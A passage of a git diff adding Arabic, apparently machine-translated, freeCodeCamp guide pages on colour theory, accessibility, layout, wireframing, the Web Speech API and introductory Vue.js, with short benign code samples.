+وتتشكل القيود على الاختيارات أيضًا من خلال القيود المصطنعة التي يوفرها المشروع ، مثل ضرورة الالتزام بأسلوب التصميم والعلامات التجارية.
+
+تعد عجلة الألوان هي الأداة الرئيسية التي يستخدمها المصممون لتحديد اللون أو تحديد موقعه. يمكن أن تشمل عجلات الألوان طيف الألوان بأكمله أو يمكن تنظيمها بواسطة فئة محددة من الألوان.
+
+الفئة الرئيسية الأربعة من الألوان ، التي قد تكون مألوفة لديك بالفعل ، هي الألوان الأساسية ، الألوان الثانوية ، ألوان الدرجة الثالثة ، الألوان التكميلية.
+
+يمكن أن يساعد استخدام نظرية الألوان في تلبية متطلبات المشاريع مع زيادة إمكانية قراءة النص وإمكانية الوصول إلى المحتوى للمشاهدين الذين لديهم سمات أو احتياجات عرض مختلفة.
+
+### عجلة الألوان أو منتقي الألوان
+
+عجلة الألوان أو المنتقي هي أداة يستخدمها المصممون لتحديد أو تحديد اللون. قد تشمل جامعات الألوان طيفًا من الألوان أو قد يتم تنظيمها حسب فئات محددة من الضوء ، مثل السطوع وتدرج الألوان.
+
+**الألوان الأساسية**
+
+في الفن والتوضيح ، يتم فصل الألوان تقليديًا إلى ثلاث فئات: الألوان الأساسية والألوان الثانوية والألوان الثلاثية. الألوان الأساسية هي ألوان لا يمكن خلطها أو تشكيلها بأي مزيج من الألوان الأخرى. الألوان الثانوية هي الألوان التي يتم تشكيلها عن طريق خلط اثنين من الألوان الأساسية. الألوان الثلاثية هي تلك الناتجة عن خلط كل الألوان الأساسية الثلاثة.
+
+في اللوحة التقليدية ، الألوان هي الأحمر والأصفر والأزرق (RYB). جميع الألوان الأخرى مستمدة من هذه الثلاثة. تؤثر الصبغة الفعلية لكل لون أساسي على نطاق الألوان المتاحة.
+
+عادةً ما تستخدم شاشات العرض المرئية الكمبيوتر مجموعة مختلفة من ثلاثة ألوان أساسية لتقريب اللون: الأحمر والأخضر والأزرق (RGB). يتم إجراء كل لون عرض من تغيير سطوع الألوان الأساسية.
+
+تستخدم طابعات الكمبيوتر عادةً أربعة ألوان أساسية لتمثيل الألوان. يستخدم اللون الأسود أحيانًا كوسط متباين لزيادة نطاق التباين. مزيج الألوان الأساسية السماوي والأرجواني والأصفر والمفتاح (CMYK) أمر شائع. "مفتاح" يمثل الأسود. المفتاح هو مصطلح تقليدي بالنسبة إلى الانطباع الأكثر أهمية عن مجموعة من البصمات.
+
+### علم نفس اللون
+
+علم نفس اللون هو دراسة لكيفية تأثير اللون على المزاج والسلوك البشري. يمكن للألوان المختارة للتصميم أن تؤثر على كيفية ذلك نجاح المنتج هو.
+
+**الألوان المكملة:** الأحمر والأخضر والأصفر الأرجواني والأزرق والبرتقالي هذه هي الألوان التي شكلتها خلط الألوان التي هي oppsite من بعضها البعض على عجلة الألوان.
+
+في تصميم الويب ، تحمل الألوان أيضًا دلالات وآثارًا يجب فهمها أو قد تسبب إرباكًا. اللون الأحمر في الفضاء غير الرقمي ، مثل مطعم للوجبات السريعة ، يحمل تأثير الطاقة أو الإثارة. ومع ذلك ، فإن اللون الأحمر على الويب يحمل أيضًا معناه أن المستخدم قد ارتكب خطأً. يجب أن يكون هذا المثال لكيفية استخدام الألوان لأشياء معينة في إعدادات معينة تذكيرًا بالغ الأهمية لفهم كيفية تفسير الشخص الذي يعرض صفحتك اختيار اللون الذي اخترته.
+
+### ألوان الويب
+
+معايير الويب بما في ذلك HTML ، CSS ، وتنسيقات ملفات الرسومات: jpeg و PNG و GIF و SVG تستخدم ألوانًا أساسية من الأحمر والأخضر والأزرق. تعرض كل تقنية أو جهاز لونًا مختلفًا بعض الشيء عن اللون الأساسي. على سبيل المثال ، قد يبدو لون أحمر خالص على أحد أجهزة العرض أكثر لونًا ورديًا أو برتقاليًا على جهاز آخر. تضيف هذه الفروق إلى تعقيد محاولة تصوير ألوان دقيقة على شاشة الكمبيوتر. هذه مشكلة مهمة ، على سبيل المثال ، عند محاولة:
+
+*   تمثل منتجًا بنوع لون معين ، أو
+*   تمثل قوس قزح من اللون ، أو
+*   تنبيه مستخدم له رسائل ذات درجات مختلفة من الأهمية.
+
+كما يدرك تصميم الويب والإعلان والاستدلال بواجهة بين الإنسان والحاسوب أن الألوان تحمل دلالات ونتائج ثقافية.
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[ورقة عمل نظرية اللون الأساسية](http://lfhs.lfcisd.net/UserFiles/Servers/Server_904/File/ECCastillo/Color%20Theory%20Worksheet.pdf)
+
+[لون علم النفس](https://en.wikipedia.org/wiki/Color_psychology)
+
+[جدول الألوان الطيفية أو شبه الطيفية في RGB](https://en.wikipedia.org/wiki/Spectral_color#Table_of_spectral_or_near-spectral_colors)
+
+[اللون وسهولة الاستخدام](/visual-design/color-theory/usability/index.md)
+
+[اللون والثقافة](/visual-design/color-theory/color-and-culture/index.md)
+
+[كيفية الحصول على مظهر احترافي مع اللون](https://www.webdesignerdepot.com/2009/12/how-to-get-a-professional-look-with-color/)
+
+[لونها فقط](https://robots.thoughtbot.com/Its-only-color)
\ No newline at end of file
diff --git a/client/src/guide/arabic/visual-design/color-theory/usability/index.md b/client/src/guide/arabic/visual-design/color-theory/usability/index.md
new file mode 100644
index 0000000000..de019c0170
--- /dev/null
+++ b/client/src/guide/arabic/visual-design/color-theory/usability/index.md
@@ -0,0 +1,40 @@
+---
+title: Color and Usability
+localeTitle: اللون وسهولة الاستخدام
+---
+## اللون وسهولة الاستخدام
+
+مثل الفروق في [تمثيل اللون عن طريق العروض المرئية](/visual-design/color-theory/index.md) ، تفسر العيون البشرية والدماغ الألوان بطرق متنوعة.
+
+حوالي واحد من كل عشرين يعاني من عمى الألوان. \[2\] هذا ما يقرب من مليار شخص! عمى الألوان هو عندما يتم تفسير مجموعة من الألوان المختلفة على أنها ألوان بلون واحد. في بعض الأحيان لا يعرف الشخص أنه يعاني من عمى الألوان ، لأن الألوان "تبدو طبيعية" بالنسبة له. وهذا له تداعيات خطيرة على الألوان المتباينة بين الأحرف وخلفياتها ، وللتنبيهات ، حيث يلون اللون سياقًا له أهمية على سبيل المثال. حتى شيء بسيط مثل نقل "توقف" و "الذهاب" هو إشكالية ، لأن الشكل الأكثر شيوعا من عمى الألوان هو المكان الذي يظهر فيه اللون الأحمر والأخضر نفسه.
+
+أكثر من واحد بالمائة من السكان لديهم [أنواع أخرى من فقدان البصر (Wikipedia.org)](https://en.wikipedia.org/wiki/Visual_impairment) . قد تشمل الخسائر حساسية للكثير من التباين والتشويش والحدود في نطاق وضوح الرؤية (قصر النظر أو طول النظر).
+
+شاشات الكمبيوتر قادرة على عرض التباين الذي يمثل ضعف التناقضات المتوفرة على الورق.
+
+فيما يلي إرشادات للمساعدة في مواجهة تحديات التصميم الخاصة باستيعاب هذه الفروق في حين أنها لا تؤثر سلبًا على تجربة الآخرين. تساعد هذه الإرشادات أيضًا [تقنية التكيف (Wikipedia.org) على](https://en.wikipedia.org/wiki/Assistive_technology#Visual_impairments) العمل بفعالية أكبر.
+
+### تعريفات
+
+**السطوع** لتحديد درجة السطوع للإرشادات ، قم بجمع قيم لون RGB. إذا كان الخط يحتوي على لون RGB (255،0،0) فهذا يعني أنه يحتوي على 100٪ أحمر و 0٪ أخضر وأزرق. إنه السطوع هو 255 + 0 + 0 = 255. السطوع الأقصى أبيض مع 255 + 255 + 255 = 765.
+
+**التباين** لتحديد تباين الإرشادات ، اطرح _السطوع_ بين لونين.
+
+### القواعد الارشادية
+
+1.  تجنب تجاوز تباين مستوى الورق في النص. اختلاف السطوع بين النص وخلفية النص 300 على الأقل إن لم يكن 400 - أكثر قليلاً للخطوط الصغيرة ، أقل للخطوط الأكبر. إذا كان لون الخط أحمر ، قد تكون قيمة RGB (255،0،0) سطوع 255 من 765. إذا كانت الخلفية صفراء ، فقد تكون قيمة RGB (255،255،0) = 510. الفرق بين 510 و 255 هو 255. هذا المثال على النقيض من ذلك منخفض للغاية ، ويقودنا إلى المبدأ التوجيهي التالي.
+    
+2.  لأغراض التحقق من التباين وتعديل عمى الألوان ، افترض أن الألوان الأساسية باللونين الأحمر والأخضر هي نفس اللون. الشكل الأكثر شيوعا من عمى الألوان يرى اللون الأحمر والأخضر بشكل مشابه. وهذا يعني فعالية مع التواصل المهم ، والنظر في أن الألوان الأحمر RGB (255،0،0) ، الأخضر RGB (0،255،0) و "الزيتون" \[1\] RGB (127،127،0) هي في الأساس نفس اللون مع نفس تناقض. ولحساب التباين ، فإن RGB الأصفر (255،255،0) يضاعف سطوع أي لون أساسي واحد. لا يزال اللونان الأساسيان ينتجان ضعف سطوع أحدهما.
+    
+
+### ملخص
+
+والخبر السار هو أنه لا يزال هناك الكثير من المرونة المتاحة في اختيار لوح ألوان فعال يكون مستساغًا للقراء.
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+1.  [ألوان الويب (Wikipedia.org)](https://en.wikipedia.org/wiki/Web_colors#Web-safe_colors)
+    
+2.  [عمى الألوان (Wikipedia.org)](https://en.wikipedia.org/wiki/Color_blindness)
\ No newline at end of file
diff --git a/client/src/guide/arabic/visual-design/index.md b/client/src/guide/arabic/visual-design/index.md
new file mode 100644
index 0000000000..3a79bf7663
--- /dev/null
+++ b/client/src/guide/arabic/visual-design/index.md
@@ -0,0 +1,24 @@
+---
+title: Visual Design
+localeTitle: التصميم المرئي
+---
+## التصميم المرئي
+
+في هذا القسم ، سيكون لدينا أدلة لمجموعة واسعة من مفاهيم التصميم المرئي.
+
+يمكن استخدام منهجيات تصميم مختلفة عند القيام بمثال التصميم المرئي ، على سبيل المثال ، الوحشي ولاحقي. الشركات المختلفة لها لغات تصميم خاصة بها بالمعنى الواسع. على سبيل المثال ، تعد Google أداة دعاية كبيرة لتصميم المواد التي يتم فيها تصميم عناصر التصميم لتبدو كمواد حقيقية لها نفس تأثيرات التدفق والظل.
+
+يتناول التصميم المرئي كيفية ظهور التطبيقات. يمكن أن ينظر إليه على أنه المكافئ الرقمي للتصميم الجرافيكي. وعلى هذا النحو ، يجب أن يسعى التصميم المرئي أيضًا إلى اتباع مبادئ ديتر رامس المعروفة جيدًا للتصميم الجيد.
+
+### 10 مبادئ التصميم الجيد
+
+1.  التصميم الجيد هو مبتكرة
+2.  التصميم الجيد يجعل المنتج مفيدا
+3.  التصميم الجيد هو الجمالية
+4.  التصميم الجيد يجعل المنتج مفهوما
+5.  التصميم الجيد هو غير مزعجة
+6.  التصميم الجيد هو صادق
+7.  التصميم الجيد يدوم طويلا
+8.  التصميم الجيد شامل إلى آخر التفاصيل
+9.  التصميم الجيد هو صديقة للبيئة
+10.  التصميم الجيد ينطوي على أقل قدر من التصميم قدر الإمكان
\ No newline at end of file
diff --git a/client/src/guide/arabic/visual-design/layout/index.md b/client/src/guide/arabic/visual-design/layout/index.md
new file mode 100644
index 0000000000..3fc8db1989
--- /dev/null
+++ b/client/src/guide/arabic/visual-design/layout/index.md
@@ -0,0 +1,21 @@
+---
+title: Layout
+localeTitle: نسق
+---
+## نسق
+
+يشير التنسيق إلى الترتيب أو موضع العناصر على صفحة معينة. يمكن أن تتضمن العناصر عناصر وظيفية مثل الفقرات والعناوين والقوائم والأقسام. يمكن أن تحتوي العناصر أيضًا على عناصر التصميم مثل الرموز والأشكال والصور. يُستخدم أيضًا استخدام المسافات البيضاء والحشو والهامش بكثافة في التخطيط. يمكنك اعتبار السابق أن خصائص التصميم بدلاً من العناصر في أنفسهم.
+
+تخطيط الصفحة هو ترتيب هذه العناصر المختلفة في عرض تقديمي ينقل المعنى إلى الشخص الذي يشاهد الصفحة. وبالتالي ، يجب أن يكون الاعتبار الأساسي للتخطيط هو كيفية فهم المخطط وما هو المعنى الذي سينتج عنه في النهاية. دون التفكير بعناية في معنى التخطيط ، يمكنك أن تسبب الارتباك وعدم الثقة بين جمهورك المستهدف.
+
+أحد الأخطاء الشائعة التي قد تحدثها هو تحديد التخطيط استنادًا إلى ما تعتقد أنه أفضل شكل. يمكن أن يؤدي فعل ذلك إلى انتهاك فكرة الاتفاقيات القياسية ويجب تجنبها حتى تكون أكثر خبرة في تصميم التخطيط.
+
+الاتفاقيات القياسية هو مصطلح يستخدم لوصف عملية أو تطبيق لتقنية تتمتع بالموافقة على مستوى الصناعة والقبول الثقافي العام بين المستخدمين. فيما يلي أمثلة لهذه الاتفاقيات من حيث صلتها بالتخطيط:
+
+*   وضع نص العنوان فوق الفقرة الذي يعنيه الوصف.
+*   وضع شريط التنقل في أعلى الصفحة.
+*   استخدام المسافات البيضاء لفصل الأقسام وأنواع المحتوى المختلفة.
+*   عدم وجود مساحة بيضاء لتجميع الأقسام وأنواع المحتوى.
+*   التأكد من أن العناصر مرتبة ونظيفة (أي زران يتناغمان ليكونا مقبولين بصريًا)
+*   بساطة التصميم بحيث يكون من السهل متابعتها وتدفقها بشكل رائع
+*   استخدام التسلسل الهرمي المرئي للمساعدة في الحفاظ على تدفق المخطط بشكل مرئي (الحجم ، واللون ، وتحديد المواقع ، وما إلى ذلك)
\ No newline at end of file
diff --git a/client/src/guide/arabic/visual-design/visual-hierarchy/index.md b/client/src/guide/arabic/visual-design/visual-hierarchy/index.md
new file mode 100644
index 0000000000..e0ae2d9dec
--- /dev/null
+++ b/client/src/guide/arabic/visual-design/visual-hierarchy/index.md
@@ -0,0 +1,31 @@
+---
+title: Visual Hierarchy
+localeTitle: التسلسل الهرمي المرئي
+---
+## التسلسل الهرمي المرئي
+
+التسلسل الهرمي المرئي هو تنظيم وعرض المحتوى. يمكنك استخدام التسلسل الهرمي المرئي لتركيز انتباه المستخدمين وإظهار المكان الأكثر أهمية.
+
+ما تحتاج إلى تذكره أثناء إنشاء التسلسل الهرمي للمحتوى الخاص بك هو أنها كلها نسبية. يجب تمييز الأجزاء التي تريد تمييزها عن الأجزاء الأخرى من محتواك.
+
+يمكنك تحقيق التسلسل الهرمي المرئي بعدة طرق ، بما في ذلك (على سبيل المثال لا الحصر):
+
+*   بحجم
+*   اللون والتباين
+*   العناوين والعناوين الفرعية
+*   طباعة
+*   مساحة بيضاء أو فارغة
+*   الملمس
+*   موضع
+*   اتجاه
+*   التخطيط العام
+
+#### معلومات اكثر:
+
+أدوات لإنشاء تدرج مرئي: [مدونة مدرسة التصميم](https://designschool.canva.com/blog/visual-hierarchy/)
+
+6 مبادئ التسلسل الهرمي: [99 التصاميم بلوق](https://99designs.com/blog/tips/6-principles-of-visual-hierarchy/)
+
+دراسة حالة - تحسين صفحة مع التسلسل الهرمي المرئي: [المدونة](http://blog.formedfunction.com/post/3029763425/on-visual-hierarchy)
+
+إضافة التسلسل الهرمي المرئي: [متوسط](https://medium.com/designed-thought/8-ways-to-add-visual-hierarchy-8820be73218a/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/visual-design/wireframing/index.md b/client/src/guide/arabic/visual-design/wireframing/index.md
new file mode 100644
index 0000000000..8c0d29b688
--- /dev/null
+++ b/client/src/guide/arabic/visual-design/wireframing/index.md
@@ -0,0 +1,25 @@
+---
+title: Wireframing
+localeTitle: Wireframing
+---
+## Wireframing
+
+يُعد الإطار السلكي بمثابة رسم توضيحي ثنائي الأبعاد لواجهة الصفحة يركز بشكل خاص على تخصيص المساحة وترتيب أولويات المحتوى والوظائف المتاحة والسلوكيات المقصودة.
+
+Wireframing هي طريقة لتصميم تطبيق على المستوى الهيكلي. يُستخدم عادةً إطار سلكي لإدراج المحتوى والوظائف على صفحة تأخذ في الاعتبار احتياجات المستخدم ورحلات المستخدم. يتم استخدام الأطر في مرحلة مبكرة من عملية التطوير لإنشاء البنية الأساسية لصفحة لهذه الأسباب ، وعادةً لا تتضمن الأطر الزمنية أي تصميم أو لون أو رسومات. تساعد الأرتال الهابطة أيضًا في إنشاء العلاقات بين النماذج المختلفة لموقع الويب.
+
+ابحث عن موارد إضافية على Wireframing [هنا](http://www.experienceux.co.uk/faqs/what-is-wireframing/)
+
+[
+
+## ادوات سلكية
+
+* * *
+
+](http://www.experienceux.co.uk/faqs/what-is-wireframing/)
+
+[](http://www.experienceux.co.uk/faqs/what-is-wireframing/)*   [](http://www.experienceux.co.uk/faqs/what-is-wireframing/)[أعجوبة](https://marvelapp.com/home)
+*   [إنفجن](https://www.invisionapp.com/)
+*   [بروتو التطبيق](https://proto.io/)
+*   [Lucidchart](https://www.lucidchart.com/pages/examples/wireframe_software/)
+*   [قلم](http://pencil.evolus.vn/Default.html/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/voice/index.md b/client/src/guide/arabic/voice/index.md
new file mode 100644
index 0000000000..2afc903c74
--- /dev/null
+++ b/client/src/guide/arabic/voice/index.md
@@ -0,0 +1,89 @@
+---
+title: Voice
+localeTitle: صوت
+---
+## صوت
+
+يتيح التعرف على الكلام للمستخدمين المتأثرين بصعوبات الوصول (مثل ضعف البصر الدائم أو ضعف مؤقت أثناء القيادة) القدرة على تصفح المحتوى على موقع الويب أو إدخال بيانات النص (مثل نموذج).
+
+يوفر تركيب الكلام مواقع الويب القدرة على توفير المعلومات للمستخدمين من خلال قراءة النص.
+
+### واجهة برمجة تطبيقات Javascript Web Speech
+
+تمكّنك [واجهة برمجة تطبيقات Web Speech](https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API) من دمج البيانات الصوتية في تطبيقات الويب باستخدام كل من التعرّف على الكلام وتوليف الكلام.
+
+#### كيف تعمل واجهة برمجة تطبيقات Web Speech
+
+يستخدم API WebSpeech نظام الميكروفون الأصلي للجهاز. عندما يتم التعرف على الكلام من قواعد محددة مسبقا (انظر أدناه) ، فإنه يتم إرجاعها كنتيجة (أو قائمة النتائج) كسلسلة نصية ، ويمكن توفير وظائف رد الاتصال لتنفيذ مزيد من الإجراءات.
+
+#### كيفية استخدام SpeechRecognition API
+
+هنا مثال بسيط على استخدام SpeechRecognition API. لاحظ أنه يتم بدء API مع `new SpeechRecognition()` ، ويبدأ عند `recognition.start();` يسمى. يقوم بإنشاء نص من ما يتم تلقيه ثم يتم إلحاقه بالعنصر `<p class="transcript">` . [انقر هنا للحصول على عرض تجريبي لهذا الرمز](https://codepen.io/ashwoodall/pen/MPeyRm) .
+
+هذا هو HTML الذي يتم إلحاق النص بـ:
+
+ `
+<main class="main"> 
+  <span class="loader"></span> 
+  <p class="description">What I think you said: <p class="transcript" data-js="varValue"></p></p> 
+ 
+ </main> 
+` 
+
+وها هو JavaScript:
+
+ `window.SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition; 
+ 
+ const span = document.querySelector('[data-js="varValue"]'); 
+ const main = document.querySelector('.main'); 
+ const loader = document.querySelector('.loader'); 
+ 
+ const recognition = new SpeechRecognition(); 
+ recognition.lang = 'en-US'; 
+ 
+ recognition.addEventListener('result', e => { 
+    const transcript = Array.from(e.results) 
+        .map(result => result[0].transcript) 
+ 
+    span.textContent = transcript; 
+    loader.textContent = ''; 
+ }); 
+ 
+ recognition.addEventListener('start', () => loader.textContent = 'Listening (enable your microphone)...'); 
+ 
+ recognition.addEventListener('end', recognition.start); 
+ recognition.start(); 
+` 
+
+### اليكسا
+
+اليكسا هي خدمة صوتية تعتمد على السحابة في الأمازون متوفرة على عشرات الملايين من الأجهزة من شركة الأمازون ومصنعي الأجهزة الخارجيين. مع اليكسا ، يمكنك بناء تجارب صوتية طبيعية توفر للعملاء طريقة أكثر سهولة للتفاعل مع التكنولوجيا التي يستخدمونها كل يوم. إنها قادرة على التفاعل الصوتي ، تشغيل الموسيقى ، عمل قوائم المهام ، إعداد الإنذارات ، بث البودكاست ، تشغيل الكاسيت ، وتوفير الطقس ، وحركة المرور ، والرياضة ، وغيرها من المعلومات في الوقت الحقيقي ، مثل الأخبار.
+
+# الأمازون صدى جهاز المدى
+
+*   الأمازون صدى
+*   الأمازون صدى بلس
+*   الأمازون صدى نقطة
+*   الأمازون صدى نظرة
+*   عرض الأمازون الصدى
+*   الأمازون صدى بقعة
+
+# ميكروفونات الحقل البعيد
+
+تستخدم أنظمة التعرف على الكلام غالبًا عدة ميكروفونات لتقليل تأثير الارتداد والضوضاء. يتم ترتيب الميكروفونات صدى في تخطيط سداسية ، مع ميكروفون واحد في كل قمة الرأس وواحدة في المركز. إن التأخير بين كل ميكروفون يستقبل الإشارة يمكّن الجهاز من التعرف على مصدر الصوت وإلغاء الضوضاء القادمة من اتجاهات أخرى. هذه هي ظاهرة تعرف باسم beamforming.
+
+في حين تعمل أنظمة التعرف على الكلام الحديثة بشكل جيد في ظروف الميكروفون المتقاربة ، فإن الأداء يتحلل في الظروف التي يكون فيها الميكروفون بعيدًا عن المستخدم.
+
+سوف يتأثر الصوت الذي تم التقاطه بواسطة الصدى بما يلي: 1) صوت المتحدث على جدار الغرفة ، 2) ضوضاء الخلفية من الخارج ، 3) الصدى الصوتي يأتي من مكبر الصوت للجهاز 4) إخراج الصوت ضد جدار الغرفة.
+
+# البرمجيات
+
+تتضمن مكونات البرنامج داخل المنصة كلاً من فهم اللغة الطبيعية (NLU) بالإضافة إلى التعرف الآلي على الكلام (ASR). يمكن الاستفادة من مكونات البرامج هذه من خلال "مهارات" مكتوبة بواسطة مطوري برامج مستقلين يتم اعتمادهم بعد ذلك إلى مجموعة من المعايير من قبل Amazon. هناك بالفعل أكثر من 20k من هذه المهارات المخصصة المتاحة من خلال متجر التطبيقات.
+
+### IBM Watson Speech-to-Text API
+
+يستخدم IBM Watson Speech-to-Text التعلم الآلي للتنبؤ بدقة بالكلام في الوقت الحقيقي. يتم حاليًا دعم سبع لغات مختلفة ، بالإضافة إلى الصوت الحي والصوت المسجل مسبقًا. يمكن استخدام واجهة برمجة التطبيقات مجانًا ، أو تتوفر الإصدارات المدفوعة للتطبيقات ذات النطاق الأكبر.
+
+### معلومات اكثر
+
+[واجهة برمجة تطبيقات Web Speech](https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API) [Alexa API](https://developer.amazon.com/docs/alexa-voice-service/api-overview.html) [IBM Watson API](https://www.ibm.com/watson/services/speech-to-text/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/vue/control-flow/index.md b/client/src/guide/arabic/vue/control-flow/index.md
new file mode 100644
index 0000000000..eb14900e5c
--- /dev/null
+++ b/client/src/guide/arabic/vue/control-flow/index.md
@@ -0,0 +1,93 @@
+---
+title: Control Flow
+localeTitle: تدفق التحكم
+---
+## تدفق التحكم
+
+### الشرطية
+
+باستخدام Vue.js ، يمكنك تحديد العارض لإظهار أو عدم إدخال جزء من الشفرة في النهاية الصفحة ، اعتمادا على بعض الشرط. على سبيل المثال ، تخيل إدخال نموذج ما يتطلب نصًا لا يقل عن 8 أحرف: إذا كان إدخال المستخدم أقل من 8 أحرف ، من رسالة خطأ يجب أن تظهر ؛ ولكن إذا كان الإدخال أطول من 8 ، يختفي الرسالة.
+
+لكن لنجعل مثالًا أبسط. نحن نريد أن الشرط من exibition من أ رسالة إلى عداد:
+
+ `
+<div id="app"> 
+  <p v-if="counter > 10"> 
+    This message is only rendered when the counter is greater than 10 
+  </p> 
+ </div> 
+` 
+
+ `let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    counter: 0 
+  } 
+ }); 
+` 
+
+إذا ذهبت إلى وحدة التحكم والبدء في زيادة العداد ، عندما يعبر لدينا عتبة 10 ، سيتم عرض الرسالة! ثم، إذا كنت إنقاص `counter` ، سوف يخفي Vue.js الرسالة عندما يحصل `counter` على أقل من 10. لذلك ، نحن استخدم التوجيه `v-if` .
+
+وقد تتسائل إذا كان هناك `else` لذلك `if` . وهناك `v-else` . لاحظ أن `v-else` سوف دائما
+
+*   نتوقع `v-if` قبل ذلك
+*   يشير إلى أقرب `v-if` في الصفحة
+
+دعونا نغير قليلا من المثال الأول لدينا للحصول على هذا مستقيم.
+
+ `
+<div id="app"> 
+  <p v-if="counter > 10"> 
+    This message is only rendered when the counter is greater than 10 
+  </p> 
+  <p v-else> 
+    And this is the "otherwise" option 
+  </p> 
+ </div> 
+` 
+
+ `let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    counter: 0 
+  } 
+ }); 
+` 
+
+لعب قليلا مع ذلك عن طريق تغيير القيم `counter` والانتباه إلى الرسالة المعروضة.
+
+لدى Vue.js أيضًا الأمر `v-else-if` .
+
+### الحلقات
+
+يساعد Vue.js أيضًا على إنشاء نسخ متعددة من الشفرة نفسها هيكل ، مع حلقات. المثال الكلاسيكي هو قائمة تم تقديمها ديناميكيًا.
+
+ `
+<div id="app"> 
+  <ul> 
+    <li v-for="item in list"> 
+      {{ item }} 
+    </li> 
+  </ul> 
+ </div> 
+` 
+
+ `let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    list: [ 
+      "shave", 
+      "do the dishes", 
+      "clean the sink", 
+      "pay the bill" 
+    ] 
+  } 
+ }); 
+` 
+
+الطريقة أسهل من إدخال الكثير من `<li>` . ولاحظ أنه كلما `list` التغييرات ، والنتيجة ستتغير acordingly. جربه: افتح وحدة التحكم و `push` بعض الخيط إلى `list` مع
+
+ `app.list.push("something else"); 
+` 
+
+كما هو متوقع ، فإن الصفحة المقدمة الآن تحتوي على منتج جديد تمامًا!
\ No newline at end of file
diff --git a/client/src/guide/arabic/vue/declarative-rendering/index.md b/client/src/guide/arabic/vue/declarative-rendering/index.md
new file mode 100644
index 0000000000..820f6afb44
--- /dev/null
+++ b/client/src/guide/arabic/vue/declarative-rendering/index.md
@@ -0,0 +1,73 @@
+---
+title: Declarative Rendering
+localeTitle: التقديم التعريفي
+---
+## التركيب
+
+قبل أن نبدأ ، هناك طريقتان لاستخدام Vue.js ، أي عبر CDN وعبر التركيب. لتجربة أولى ، من الأسهل استخدام CDN.
+
+من أجل التطوير ، استخدم هذا:
+
+ `
+<!-- development version, includes helpful console warnings --> 
+ <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> 
+` 
+
+عند القفز إلى الإنتاج ، هذا:
+
+ `
+<!-- production version, optimized for size and speed --> 
+ <script src="https://cdn.jsdelivr.net/npm/vue"></script> 
+` 
+
+كما ذكر من قبل ، يمكنك أيضا تثبيت `vue-cli` ، ولكن هذا ليس كذلك أوصت للمبتدئين.
+
+## التقديم التعريفي
+
+يعد Vue.js أداة رائعة لإنشاء صفحات ديناميكية ، والطريقة الأولى للوصول تلمس مع هذا هو ما يسمى التقديم التعريفي.
+
+ويهدف استخدام المصطلح "الإعلاني" إلى تقويم هذا المفهوم اللغات التصريحية ، مثل SQL: يمكنك طلب شيء ما ، لا يتم تضمينه أي تنفيذ. يتيح لك Vue.js الإعلان عن البيانات التي تريدها المقدمة ، ببساطة مثل:
+
+ `
+<div id="app"> 
+  {{ message }} 
+ </div> 
+` 
+
+ `let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    message: 'Hello, world!' 
+  } 
+ }); 
+` 
+
+باستخدام تلك القناصة ، فأنت تخبر Vue أن تقوم بشكل ديناميكي بعرض كل ما يتم تخزينه داخل متغير `message` . والمتعة: كلما تم تغيير `message` ، يدير Vue.js إعادة تحميل ذلك الجزء المحدد من DOM وسترى يتغيرون.
+
+إذا كنت ترغب في تجربة هذا التفاعل ، افتح وحدة التحكم وقم بتغيير القيمة من `app.message` إلى ، قل ، `"Hello from console"` . هل لاحظت التغيير في الصفحة؟
+
+إن `{{ ... }}` هي صيغة هذا السلوك: إخراج القيمة من متغير أو تعبير. على سبيل المثال ، يعد هذا أيضًا استخدامًا صالحًا و سوف يؤدي إلى `hello` :
+
+ `
+<div id="app"> 
+  {{ 1 < 2 ? "hello" : "goodbye" }} 
+ </div> 
+` 
+
+هناك حالات ما نريده هو تعيين سمة باستخدام تطبيق Vue الخاص بنا متغير. قد تعتقد أن الصيغة نفسها تنطبق ، ولكن Vue لديها شيء ما محددة لذلك ، ما نسميه "ملزم".
+
+ `
+<div id="app"> 
+  <a v-bind:href="dynamicLink">This link</a> 
+ </div> 
+` 
+
+ `let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    dynamicLink: 'medium.freecodecamp.org' 
+  } 
+ } 
+` 
+
+بناء الجملة `v-bind` هو ما يستدعي Vue.js "توجيه". إنها طريقة لتعيين جديد السمة إلى العلامة التي سيتم التعامل معها عن طريق Vue - هناك المزيد التوجيهات ، كل شيء يبدأ مع `v-` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/vue/index.md b/client/src/guide/arabic/vue/index.md
new file mode 100644
index 0000000000..a76503a455
--- /dev/null
+++ b/client/src/guide/arabic/vue/index.md
@@ -0,0 +1,13 @@
+---
+title: Vue
+localeTitle: رأي
+---
+## المقدمة
+
+Vue.js هو إطار تقدمي لبناء واجهات المستخدم. تركز النواة على طبقة "العرض" فقط ويمكن دمجها بسهولة مع المكتبات والمشروعات القائمة. ولكن من ناحية أخرى ، يمكن أيضًا الاستفادة من Vue.js لإنشاء تطبيقات قوية للصفحة الواحدة عن طريق الدمج مع الإضافات مثل `vue-router` و `vuex` .
+
+من السمات الرئيسية هي ما يلي:
+
+*   إنها قابلة للموافقة: إذا كنت تعرف HTML و CSS وجافا سكريبت - سوف تكتب التطبيقات في Vue.js في أي وقت من الأوقات!
+*   إنها متعددة الاستخدامات: يمكنك استخدامها كمكتبة بسيطة أو إطار كامل الميزات
+*   انها أداء: انها أداء للغاية من خارج منطقة الجزاء مع القليل جدا إلى أي التحسين المطلوب تقريبا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-augmented-reality/index.md b/client/src/guide/arabic/web-augmented-reality/index.md
new file mode 100644
index 0000000000..951b3d9ddd
--- /dev/null
+++ b/client/src/guide/arabic/web-augmented-reality/index.md
@@ -0,0 +1,7 @@
+---
+title: Augmented Reality Development on The Web
